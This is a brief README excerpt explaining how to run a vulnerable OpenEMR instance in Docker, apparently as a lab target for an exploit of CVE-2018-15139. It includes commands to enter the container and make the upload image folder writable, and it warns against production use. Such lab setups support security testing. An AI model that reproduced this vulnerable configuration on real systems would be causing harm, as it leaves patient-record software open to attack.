Docker deployment of the vulnerable software

Warning: of course this setup is not suited for production usage!

$ sudo docker-compose up

The upload folder permissions are broken in the official OpenEMR docker image, so it is required to connect to the container and fix the permissions, eg.:

$ sudo docker exec -ti exploit-cve-2018-15139_openemr_1 /bin/sh
$ chmod u+w /var/www/localhost/htdocs/openemr/sites/default/images/
